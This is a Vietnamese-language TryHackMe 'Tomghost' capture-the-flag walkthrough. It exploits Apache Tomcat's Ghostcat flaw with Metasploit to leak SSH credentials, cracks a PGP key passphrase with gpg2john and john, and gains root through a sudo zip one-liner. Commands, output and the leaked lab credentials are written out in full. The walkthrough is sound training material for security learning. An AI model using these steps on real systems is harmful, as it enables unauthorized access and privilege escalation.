TryHackMe - Tomghost
Lấy thông tin đăng nhập bằng khóa PGP?
Giới thiệu
Một room khá hay, nơi tôi đã học được rất nhiều điều. Giải mã khóa PGP bằng gpg2john để lấy thông tin đăng nhập của người dùng, sau đó giành quyền root bằng zip — rất thú vị.
Nmap
Hãy bắt đầu bằng việc quét với Nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.56.163
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Chúng ta có 4 cổng đang mở:
22/tcp
53/tcp
8009/tcp
8080/tcp
Trinh sát
Sau khi tìm kiếm nhanh trên Google về các lỗ hổng của Tomcat phiên bản này, chúng ta phát hiện những thông tin sau:
Các lỗ hổng CVE-2020-1938 và CVE-2020-1745 đã được báo cáo vào tháng 4 năm 2020. Chúng ảnh hưởng đến Apache Tomcat AJP connector và cho phép thực hiện kiểu tấn công Request Injection, còn được gọi là Ghostcat.
Truy cập ban đầu
Hãy mở Metasploit.
1
msfconsole
1
2
3
4
5
6
7
8
9
10
11
12
search cve: CVE-2020-1938
msf6 > search cve: CVE-2020-1938
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat
Có vẻ chúng ta có thể sử dụng module này.
1
2
use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) >
Bây giờ, hãy kiểm tra những tùy chọn cần thiết lập.
1
2
3
4
5
6
7
8
9
10
11
msf6 auxiliary(admin/http/tomcat_ghostcat) > options
Module options (auxiliary/admin/http/tomcat_ghostcat):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /WEB-INF/web.xml yes File name
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
RPORT 8009 yes The Apache JServ Protocol (AJP) port (TCP)
Chúng ta chỉ cần thiết lập RHOSTS, tức địa chỉ IP của máy mục tiêu, rồi chạy exploit.
1
2
3
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.56.163
RHOSTS => 10.10.56.163
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
1
2
3
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
Thông tin này trông giống như thông tin đăng nhập, vì vậy hãy thử sử dụng nó để kết nối qua SSH.
1
2
ssh skyfuck@10.10.56.163
skyfuck@ubuntu:~$
User Flag
Chúng ta có thể tìm thấy user flag trong thư mục /home/merlin.
Root Flag
Bây giờ, chúng ta có thể thấy 2 tệp.
1
2
skyfuck@ubuntu:~$ ls
credential.pgp tryhackme.asc
Chúng ta cần lấy thông tin đăng nhập.
1
2
3
4
5
6
7
8
9
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: key C6707170: secret key imported
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg: imported: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
1
2
3
4
5
6
7
8
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
Enter passphrase:
Chúng ta sẽ cần passphrase để tiếp tục.
Hãy tải các tệp có sẵn xuống máy của chúng ta.
1
scp skyfuck@10.10.56.163:/home/skyfuck/* /home/rene/Desktop/
Sau đó, hãy sử dụng gpg2john để bẻ khóa tệp tryhackme.asc.
1
2
gpg2john tryhackme.asc > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Bây giờ, hãy sử dụng passphrase để giải mã tệp credential.pgp và lấy thông tin đăng nhập.
Tiếp theo, hãy sử dụng thông tin đăng nhập mới để đăng nhập với tư cách merlin.
1
2
└─$ ssh merlin@10.10.56.163
merlin@10.10.56.163's password:
1
2
3
4
5
6
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
Bây giờ, chúng ta đang sử dụng người dùng mới và có thể chạy zip với quyền root. Điều này có nghĩa là chúng ta cần tạo một tệp rồi nén nó.
Sau khi tìm kiếm nhanh trên Google, chúng ta có thể sử dụng kỹ thuật leo thang đặc quyền sau:
1
2
3
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
Và chúng ta lấy được root flag.





